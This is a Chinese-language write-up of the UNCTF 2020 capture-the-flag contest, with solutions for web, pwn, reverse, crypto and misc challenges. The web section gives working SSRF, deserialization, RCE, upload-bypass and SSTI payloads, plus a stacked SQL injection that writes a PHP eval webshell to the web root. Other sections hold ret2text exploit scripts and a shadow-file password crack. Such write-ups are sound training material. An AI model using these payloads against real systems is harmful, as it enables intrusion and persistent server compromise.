UNCTF2020

match 评论

​

2020年高校联合招新赛UNCTF

竞赛时间： 2020年11月07日-14日

后面几天没太看掉了下来，Rank: 23

Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}
?>

简单的ssrf攻击。

file_get_contents函数，当目标请求时会判断使用的协议，如果为无法识别的协议会当做目录处理，会造成目录穿越，构造payload: ?url=0://unctf.com/../../../../../flag拿到flag。

​

easyunserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符串逃逸。

先构造普通情形：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }
$x=new a('admin',1);
echo serialize($x);
//O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";i:1;}
?>

需要password变为easy，且challenge会多4字节变easychallenge，构造

?1=challenge";s:8:"password";s:4:"easy";}

会变成

?1=easychallenge";s:8:"password";s:4:"easy";}

计算需要的challenge数量：$9x+29=(9+4)x$，发现 $x=7.25$ 非整数，

在payload后补足三个空格，使得 $9x+29+3=(9+4)x$，解得 $x=8$，即构造uname为8个challenge并在尾部补三个空格，payload：

?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}%20%20%20

​

babyeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
            if (strpos($data, 'flag') !== false)
                return 'ByeBye hacker';
            return false;
        });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
?>

过滤不多的RCE，?a=echo `base64 flag.php`

​

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

反序列化，要构造username为admin和password为password，尝试构造array：

1
2
3
4
5
<?php
$x=array('username'=>'admin','password'=>'password');
echo serialize($x);
//a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
?>

发现不成功，那么username和password需要的实际字符串应该不对。

if判断条件出用的是==弱类型比较，PHP中任意字符串==true结果都为true，更换构造值为bool类型：

1
2
3
4
5
<?php
$x=array('username'=>true,'password'=>true);
echo serialize($x);
//a:2:{s:8:"username";b:1;s:8:"password";b:1;}
?>

POST提交payload，得到flag。

​

easy_upload

随便上传

De1ctf 2020-Check in原题。

随便传一个jpg文件，回显过滤perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

上传.htaccess文件，bp改包，用换行绕过关键字过滤：

1
2
3
4
5
AddHandler p\
hp5-script .txt
p\
hp_value au\
to_append_file /flag

再随便传一个txt文件，访问对应路径即加载得到/flag内容。

​

easyflask

进入提示a easy flask problem,first login as the admin，

访问/login登录，尝试admin/admin登录，提示login fail! check /register，

访问/register注册，用admin/admin注册，提示register success，注册成功，

回到登录页登录，提示admin login success!，

再回到主页，发现提示变为admin login success and check the secret route /secret_route_you_do_not_know

访问/secret_route_you_do_not_know，提示you should 'guess' the secret number

GET方式传入?guess={{3*5}}，回显15 error!!，存在SSTI漏洞。

fuzz一波，发现过滤了[]、_、"、'、%等，尝试用request外部参数方式，利用<class 'click.utils.LazyFile'>类命令执行。

列目录：

1
?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&g=__globals__&mod=os&func=popen&cmd=ls&re=read

读文件：

1
?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)(request.args.file)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&file=flag.txt&re=read

​

checkin-sql

非常简单的sql 0.0

提示1：flag不在数据库中。。

强网杯 2019-随便注原题魔改。

1' or 1=1 #，查看返回数据

1' order by 2 #，查列数

1' union select 1,2 #，失败，说明有正则过滤

1'; show databases;#，堆叠注入查数据库

1'; show tables;#，堆叠注入查表

1'; show columns from 0xDktb;#，堆叠注入查数据库

用预处理语句查询结果（select * from `0xDktb`）：

1'; set@a=0x73656c656374202a2066726f6d20603078446b746260; prepare execsql from @a;execute execsql;#，失败，说明有关键字被过滤，尝试发现是set关键字

改为：

1'; prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#，成功查询，但不是flag，更换查询内容，找了整个数据库都未发现flag字符串。

猜测flag在文件系统里，尝试写文件（select '<?php @eval($_POST[ccc]);?>' into outfile '/var/www/html/shell.php'）：

1'; prepare execsql from 0x73656c65637420273c3f70687020406576616c28245f504f53545b6363635d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f7368656c6c2e70687027;execute execsql;#

用蚁剑试连，发现成功，在根目录拿到flag。

​

Pwn

YLBNB

守护世界上最好的YLB
nc 45.158.33.12 8000

先nc，提示用pwntool，运行脚本拿到flag。

1
2
3
from pwn import *
r = remote('45.158.33.12', 8000)
r.interactive()

​

fan

简单ret2text

1
2
3
4
5
6
7
from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x400735
payload = 'a'*(0x30+8) + p64(system_addr)
r.recvuntil('input your message\n')
r.sendline(payload)
r.interactive()

​

do_you_like_me?

简单ret2text

1
2
3
4
5
6
7
from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x4006CD
payload = 'a'*(0x10+8) + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()

​

Reverse

re_checkin

二进制手做不出来这个就考虑退役吧

IDA打开，定位到start函数，再不断跟进到sub_4015DC发现flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:00000000004015DC sub_4015DC      proc near               
.text:00000000004015DC arg_0           = qword ptr  10h
.text:00000000004015DC
.text:00000000004015DC                 push    rbp
.text:00000000004015DD                 mov     rbp, rsp
.text:00000000004015E0                 mov     [rbp+arg_0], rcx
.text:00000000004015E4                 mov     cs:Str2, 'u'
.text:00000000004015EB                 mov     cs:byte_42F041, 'n'
.text:00000000004015F2                 mov     cs:byte_42F042, 'c'
.text:00000000004015F9                 mov     cs:byte_42F043, 't'
.text:0000000000401600                 mov     cs:byte_42F044, 'f'
.text:0000000000401607                 mov     cs:byte_42F045, '{'
.text:000000000040160E                 mov     cs:byte_42F046, 'W'
.text:0000000000401615                 mov     cs:byte_42F047, 'e'
.text:000000000040161C                 mov     cs:byte_42F048, 'l'
.text:0000000000401623                 mov     cs:byte_42F049, 'c'
.text:000000000040162A                 mov     cs:byte_42F04A, 'o'
.text:0000000000401631                 mov     cs:byte_42F04B, 'm'
.text:0000000000401638                 mov     cs:byte_42F04C, 'e'
.text:000000000040163F                 mov     cs:byte_42F04D, 'T'
.text:0000000000401646                 mov     cs:byte_42F04E, 'o'
.text:000000000040164D                 mov     cs:byte_42F04F, 'U'
.text:0000000000401654                 mov     cs:byte_42F050, 'N'
.text:000000000040165B                 mov     cs:byte_42F051, 'C'
.text:0000000000401662                 mov     cs:byte_42F052, 'T'
.text:0000000000401669                 mov     cs:byte_42F053, 'F'
.text:0000000000401670                 mov     cs:byte_42F054, '}'
.text:0000000000401677                 mov     cs:byte_42F055, 0
.text:000000000040167E                 nop
.text:000000000040167F                 pop     rbp
.text:0000000000401680                 retn
.text:0000000000401680 sub_4015DC      endp

​

反编译

用 pyinstxtractor反编译出pyc文件，再用uncompyle6反编译pyc可得源代码：

1
2
3
4
5
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
    flag += chr(ord(str2[i]) + i)
print(flag)

运行得flag。

​

babypy

Babypy.That’s really easy!!!

用 pyinstxtractor反编译出pyc文件，再用uncompyle6反编译pyc可得源代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os, libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)

def gen(x):
	y = abs(x)
	while 1:
		if y > 0:
			yield y % 2
			y = y >> 1
	else:
		if x == 0:
			yield 0


l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

代码逻辑为字符→10进制→2进制→字符16进制，txt文件16进制按逻辑逆推得到flag。

​

CTFilter

假如你是李华，你的好友学习委员无意之间看到了一串flag！
这串flag极有可能是解开谜题的关键。
他立刻在一台装有Windows10 1903 x64操作系统的虚拟机中使用记事本写下了这串flag并保存。
然而，令他没想到的是，这个系统却另有玄机！
任何人都无法在这个系统中写下正确的flag？
请你以好友的身份对他伸出援手，帮助学习委员找到真正的flag。

学习委员：那你能帮帮我吗？
李华：瞧谁不起呢？

压缩包里有CTFilter.sys、Hint.exe、Unknown_data、Story.txt四个文件，IDA分析前两个，CTFilter.sys查看没什么结果，Hint.exe中发现一个flag字符串flag{Oh!You_found_me~}，结合题干描述这串flag极有可能是解开谜题的关键，尝试将flag字符串作为key与密文Unknown_data异或，发现居然成功得到flag。

​

Crypto

easy_rsa

给 $a,b,e$，易推出 $p$ 和 $q$，再按正常RSA解法解即可。

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

​

鞍山大法官开庭之缺的营养这一块怎么补

某日，鞍山大法官在点外卖时点了2个韭菜盒子，商家只送了1个，大法官给了该商家一个差评
次日，该大法官又在该商家点了1个韭菜盒子，希望商家能补上上次的韭菜盒子，而商家又只发了一个韭菜盒子
这名大法官一天正常要吃2个韭菜盒子，而该商家每天只给他1个韭菜盒子，请问该名大法官缺的营养这一块怎么补
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto
flag格式：unctf{}

尝试二进制转字符及摩斯密码均不成功，最后才想到培根密码，分别把o和t替换为A和B，在线解密得flag。

​

简单的RSA

你们都不会百度的吗

只给出 $e,n,c$，且 $e$ 很大，简单的RSA Wiener攻击：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#sage
def rational_to_contfrac(x,y):
    # Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
    a = x // y
    pquotients = [a]
    while a * y != x:
        x, y = y, x - a * y
        a = x // y
        pquotients.append(a)
    return pquotients

def convergents_from_contfrac(frac):
    # computes the list of convergents using the list of partial quotients
    convs = [];
    for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i]))
    return convs

def contfrac_to_rational (frac):
    # Converts a finite continued fraction [a0, ..., an] to an x/y rational.
    if len(frac) == 0: return (0,1)
    num = frac[-1]
    denom = 1
    for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
    return (num, denom)

e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934 

def egcd(a, b):
    if a == 0: return (b, 0, 1)
    g, x, y = egcd(b % a, a)
    return (g, y - (b // a) * x, x)

def mod_inv(a, m):
    g, x, _ = egcd(a, m)
    return (x + m) % m

def isqrt(n):
    x = n
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x
  
def crack_rsa(e, n):
    frac = rational_to_contfrac(e, n)
    convergents = convergents_from_contfrac(frac)
    
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            # check if x*x - s*x + n = 0 has integer roots
            D = s * s - 4 * n
            if D >= 0:
                sq = isqrt(D)
                if sq * sq == D and (s + sq) % 2 == 0: return d

d = crack_rsa(e, n)
m = hex(pow(c, d, n))[2:]
print(bytes.fromhex(m))

​

wing

你过office二级了吗

提示office，猜测为word中某种字体，打开word输入字母+数字，再切换各字体核对，发现为Wingdings 2字体，对照替换得flag。

​

signin

Really baby problem about block cipher
flag 格式： flag{}

AES-ECB模式两次加密，且密钥已知位较多，可采用中间人攻击（MITM）。

爆破脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
from binascii import hexlify,unhexlify
from string import printable

alph = printable
m = ''
c = ''
flag_c = ''
middle = dict();

for x in alph:
    for y in alph:
        for z in alph:
            key1 = '%s%s%s%s' % ('0' * 13, x, y, z)
            cipher = AES.new(key1)
            middle.update({cipher.encrypt(m): key1})

print "\nTable built...\n";

for x in alph:
    for y in alph:
        for z in alph:
            key2 = '%s%s%s%s' % (x, y, z, '0' * 13)
            cipher = AES.new(key2)
            d = cipher.decrypt(c)
            if d in middle:
                print "\nKeys found: %s; %s\nFlag:" % (middle[d].encode('hex'), key2.encode('hex'))
                cipher1 = AES.new(middle[d])
                print cipher1.decrypt(cipher.decrypt(flag_c))

​

快乐数学_0x00

刚才我问扎克利，扎总发生甚么事了。扎总说怎么回事。我给扎总发了几张截图。
扎总一看，噢，原来是昨天，几个大学生，二十多岁，他们说，哎~。
有一个说，我在 UNCTF 打比赛，头都做疼了，扎总，你能不能教教我怎么做题，哎，帮我分数弄高一点。
扎总说，可以，你在 UNCTF 死做题，不好用。他不服气。
扎总说，我说小朋友，你多长两个脑子来做我这新题。他做不动，他说你这个没用。
扎总说，我这个有用，他是数学，数学对计算机基础很重要，二百多个人做不出我这题。他非要和我试试。
扎总说，可以。扎总一说他啪站起来了，很快啊，然后上来一个左正蹬，一个右鞭腿，一个左刺拳。
扎总全部防出去了啊，防出去以后，自然是传统功夫以点到为止，右手把数学题摁在他鼻子上，没打他，扎总笑了一下，准备收拳。
后面我暂时编不下去了，你们来跟扎总打吧。
数学题，可能存在异议的，群里私聊 Hanser 的老公。

链接: https://pan.baidu.com/s/1nB8j4TN3HFe_SXvrwzyE2g 密码: ca04

纯高数回忆录，复习了一把，采用wolframalpha辅助计算。

第一个，$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n$：

计算到2020开n次方的求和不好表示，可以用wolframalpha观察规律：

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}}{2020})^n=\sqrt{2}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}}{2020})^n=\sqrt[3]{6}=\sqrt[3]{2\cdot3}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}}{2020})^n=\sqrt[4]{24}=\sqrt[4]{2\cdot3\cdot4}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}+\sqrt[n]{5}}{2020})^n=\sqrt[5]{120}=\sqrt[5]{2\cdot3\cdot4\cdot5}$

以此类推，$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n=\sqrt[2020]{2020!}$

第二个，$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}$：

wolframalpha编写：

limit (integrate (integrate (u^2-3sin(u-t)^2),t=0 to u),u=0 to x)/(x^8) as x->+∞

计算得出：$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}=\cfrac{1}{112}$

第三个，设 $\Omega:x^2+y^2 \leq 3z,1 \leq z \leq 4$，求 $\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v$：

转换到极坐标求解，设 $x=r\sin{\theta},y=r\cos{\theta}$：

wolframalpha编写：

(integrate dθ,θ=0 to 2*pi)(integrate r/sqrt(r^2+z) dr, r=0 to sqrt(3z))

integrate 2*pi*sqrt(z) dz, z=1 to 4

计算得出：

$\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v=\int_{1}^{4}\text{d}z\int_{0}^{2\pi}\text{d}\theta \int_{0}^{\sqrt{3z}}\cfrac{r}{r^2+z}\text{d}r=\int_{1}^{4}2\pi\sqrt{z}\text{d}z=\cfrac{28\pi}{3}$

最后，合并为\sqrt[2020]{2020!}-\frac{1}{112}-\frac{28\pi}{3}，md5值为flag。

​

Misc

baba_is_you

了解一下png文件格式

16进制查看，文件尾有一串B站网址，访问，在评论区发现flag。

​

爷的历险记

RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗

RPG小游戏，启动玩耍。

屋里屋外到处寻找线索，发现两个箱子，分部用base64解码出密码66668888和摩斯密码解码出密码23332333打开箱子拿奖励，依次勉强打过屋外主场景左边和下边两个场景的小boss，屋外主场景右下方商人处可以购买hint1和hint2，hint2提示查看游戏存档。

想到修改存档文件的方式，更改金钱以购买hint3。使用RPG存档在线修改器修改rpgsave文件中的金钱属性值到最大值，再回到游戏加载存档，购买hint3即为flag。

​

阴阳人编码

发现含就这.、就这¿、不会吧!三种字符串，需要一点脑洞，联想到Ook编码，在线解密得flag。

​

躲猫猫

我躲好了，你来找我

直接打开报错，右键压缩包打开，在sharedStrings.xml发现base64编码字符串，base64+url解码得flag。

​

YLB’s CAPTCHA - 签到题

YLB同款验证码

硬看到眼睛疼就能过了，可以考虑修改css配色方案降低难度。

​

撕坏的二维码

RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗

部分遮盖的二维码，直接用QR Rearch识别出flag。

​

网络深处1

好孩子不要上洋葱鸭

三个文件，txt有一串数字，zip包加密，

Audacity分析wav文件，结合文件名“拨号音”，用DTMF拨号音识别脚本识别出wav的手机号码，解压得一个wav文件和txt文件，继续Audacity分析wav文件，切换到频谱图发现关键字我是tupper，

了解到Tupper为自我指涉公式，找到一个在线还原图像网站还原得flag。

​

mouse_click

flag格式为unctf{*}，**中的字母统一为大写

简单鼠标流量取证。

提取usb数据信息：

tshark -r mouse.pcapng -T fields -e usb.capdata > usbdata.txt

提取坐标值脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nums = []
keys = open('usbdata.txt','r')
result = open('result.txt','w')
posx = 0
posy = 0
for line in keys:
    line = line.strip()
    if line == '' :#忽略空行
         continue
    x = int(line[6:8],16)
    y = int(line[9:11],16)
    if x > 127 :
        x -= 256
    if y >127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[3:5],16)
    if btn_flag == 1 :
        result.write(str(posx)+' '+str(posy)+'\n')
keys.close()
result.close()

运行：python analyse.py

控制台画图：gnuplot.exe -e "plot 'result.txt'" -p

​

被删除的flag

flag被删除了，你能恢复它吗

16进制查看，搜索unctf得flag。

​

你能破解我的密码吗

flag内容为密码的32位小写的md5，请用unctf{}包裹字符串

shadow文件中倒数第二行，用john命令破解弱口令：

john --show shadow

得到密码，md5处理即flag。

​

EZ_IMAGE

手撸最终肯定能出来，不过学到更好用的自动化姿势（montage+gaps），适用于任何拼图题：

先把225张图用ImageMagick中的montage命令合成一张大图：

montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg

得到一张大图之后，用gaps来进行还原：

gaps --image=out.jpg --generations=40 --population=225 --size=60 --save

​

零

我瞎了看不到flag了

零宽字符隐写，可以在vim中用vim -A xxx.txt查看核实。

全选复制，用在线工具直接取出flag。

​

YLB绝密文件

提示1：需要提取出三个文件: *.pyc,*.py,*.zip
提示2：zip文件可以以原始数据的形式导出Hex值，再导入Winhex/010 Editor然后删去非Zip数据部分（自行百度Zip格式

Wireshark查看流量包，追踪TCP流，分别在流11、流16和流20流提取出xor.py、secret.cpython-38.pyc和YLBSB.zip三个文件。

用uncompyle6还原pyc文件为secret.py文件拿到key值YLBSB?YLBNB!，再根据xor.py代码逻辑，将key与zip包中的YLBSB.xor文件16进制值异或，保存得到YLBSB.docx文件，打开得到flag。

​

倒影

16进制查看exe文件发现是jpg图，在尾部发现4030B405，即为倒着存入的一段16进制zip文件，取出16进制逆序还原，用ARCHPR纯数字跑出弱口令得到flag。

​

Other

调查问卷

请大家认真填写哟~ 只有几道，不多，最多占用大家两三分钟…
问卷地址：https://wj.qq.com/s2/7519766/6af6/
想要大家一起吐槽？
知乎链接：https://www.zhihu.com/question/429290669/answer/1564365629

反馈就是了。